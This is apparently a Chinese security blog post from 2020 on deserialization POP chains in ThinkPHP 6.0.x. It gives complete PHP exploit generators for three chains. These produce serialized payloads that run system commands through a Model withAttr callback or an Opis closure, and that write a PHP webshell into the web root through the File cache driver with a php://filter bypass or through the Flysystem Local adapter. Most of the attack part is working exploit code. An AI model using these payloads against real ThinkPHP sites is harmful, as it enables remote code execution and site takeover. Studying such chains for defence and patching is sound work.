thinkphp 6.0.x pop鏈
阿新 • • 發佈:2020-09-09
pop1
thinkphp v5.2.x 反序列化利用鏈挖掘
thinkphp v6.0.x 反序列化利用鏈挖掘
think\Model->__destruct()
/vendor/topthink/think-orm/src/Model.php
__destruct() $this->save() $result = $this->exists ? $this->updateData() : $this->insertData($sequence); $allowFields = $this->checkAllowFields(); $query = $this->db();
終於看到字串拼接
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);
think\model\concern\Conversion->__toString()
vendor/topthink/think-orm/src/model/concern/Conversion.php
__toString() $this->toJson() json_encode($this->toArray(), $options); elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } return $this->getValue($name, $value, $relation); $value = $closure($value, $this->data);
可以動態呼叫函式,但是引數是有限制的,接下來一種方法是找能用的php函式,一種是利用\Opis\Closure
呼叫匿名函式
method1
system
函式可以傳遞兩個引數,第二個引數接收外部命令執行後的返回狀態,不會影響執行,所以可以直接getshell
<?php namespace think\model\concern; trait Conversion { } trait Attribute { private $data = ["sy1j" => "dir"]; private $withAttr = ["sy1j" => "system"]; } namespace think; abstract class Model{ use model\concern\Attribute; use model\concern\Conversion; private $lazySave = true; protected $withEvent = false; private $exists = true; private $force = true; protected $field = []; protected $schema = []; protected $connection='mysql'; protected $name; protected $suffix = ''; } namespace think\model; use think\Model; class Pivot extends Model { function __construct($obj = '') { $this->name = $obj; } } $a = new Pivot(); $b = new Pivot($a); echo urlencode(base64_encode(serialize($b)));
method2
\Opis\Closure
可用於序列化匿名函式,使得匿名函式同樣可以進行序列化操作。這意味著我們可以序列化一個匿名函式,然後交由上述的$closure($value, $this->data)
呼叫執行。
<?php
namespace Opis\Closure;
include "D:/xampp/htdocs/tp6/vendor/opis/closure/src/SerializableClosure.php";
include "D:/xampp/htdocs/tp6/vendor/opis/closure/src/ClosureScope.php";
include "D:/xampp/htdocs/tp6/vendor/opis/closure/src/ReflectionClosure.php";
include "D:/xampp/htdocs/tp6/vendor/opis/closure/src/ClosureStream.php";
namespace think\model\concern;
trait Conversion
{
}
trait Attribute
{
private $data = ["sy1j" => "dir"];
private $withAttr;
public function setAttr($closure){
$this->withAttr = $closure;
}
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\Conversion;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $field = [];
protected $schema = [];
protected $connection='mysql';
protected $name;
protected $suffix = '';
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
function __construct($obj = '', $closure="system")
{
$this->name = $obj;
$this->setAttr(["sy1j"=>$closure]);
}
}
$a = new Pivot();
$func = function(){phpinfo();};
$closure = new \Opis\Closure\SerializableClosure($func);
$b = new Pivot($a, $closure);
echo urlencode(base64_encode(serialize($b)));
pop2
League\Flysystem\Cached\Storage\AbstractCache->__destruct
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
因為是抽象類,所以要find usages
,找到think\filesystem\CacheStore
public function save()
{
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
store
可控,可以走__call
,也可以直接找實現set方法的類,找到think\cache\driver\File->set()
$data = $this->serialize($value);
serialize
函式可以直接利用
protected function serialize($data): string
{
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'][0] ?? "serialize";
return $serialize($data);
}
不過最$data
的來源是$value
,$value
來自CacheStore->save()
裡的$content
,如下得到,所以內容是經過了json_encode
public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
要執行命令必須使用反引號或者windows下&
exp
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache
{
protected $autosave = false;
// protected $complete = "`id`";
protected $complete = "\"&dir&";
// 在Windows環境中反引號無效,用&替代
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store = "")
{
$this->store = $store;
}
}
}
namespace think\cache {
abstract class Driver
{
protected $options = ["serialize" => ["system"], "expire" => 1, "prefix" => "1", "hash_type" => "sha256", "cache_subdir" => "1", "path" => "1"];
}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver
{
}
}
namespace {
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo base64_encode(serialize($cache));
}
?>
寫shell
也可以再往下走兩行,會有
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
經典“死亡exit”,比較簡單的,偽協議繞繞就行了,最後檔名是$key
的md5
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "uuuPD9waHAgcGhwaW5mbygpOw==";
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace think\cache{
abstract class Driver
{
protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>false,"hash_type"=>"md5","cache_subdir"=>false,"path"=>"php://filter/write=convert.base64-decode/resource=d:/xampp/htdocs/tp6/public/","data_compress"=>0];
}
}
// 路徑最好寫成絕對路徑
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{}
}
namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo base64_encode(serialize($cache));
}
?>
pop3
和上面差不多,寫shell
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ["<?php phpinfo(); ?>"];
}
class Adapter extends AbstractCache
{
protected $file;
protected $adapter;
protected $expire;
public function __construct($adapter="")
{
$this->file = "d:/xampp/htdocs/tp6/public/shell.php";
// 需要根據系統以及配置修改路徑寫法
$this->adapter = $adapter;
}
}
}
namespace League\Flysystem\Adapter{
class Local
{
protected $writeFlags = 0;
}
}
namespace{
$local = new League\Flysystem\Adapter\Local();
$cache = new League\Flysystem\Cached\Storage\Adapter($local);
echo urlencode(base64_encode(serialize($cache)));
// echo serialize($cache);
}
?>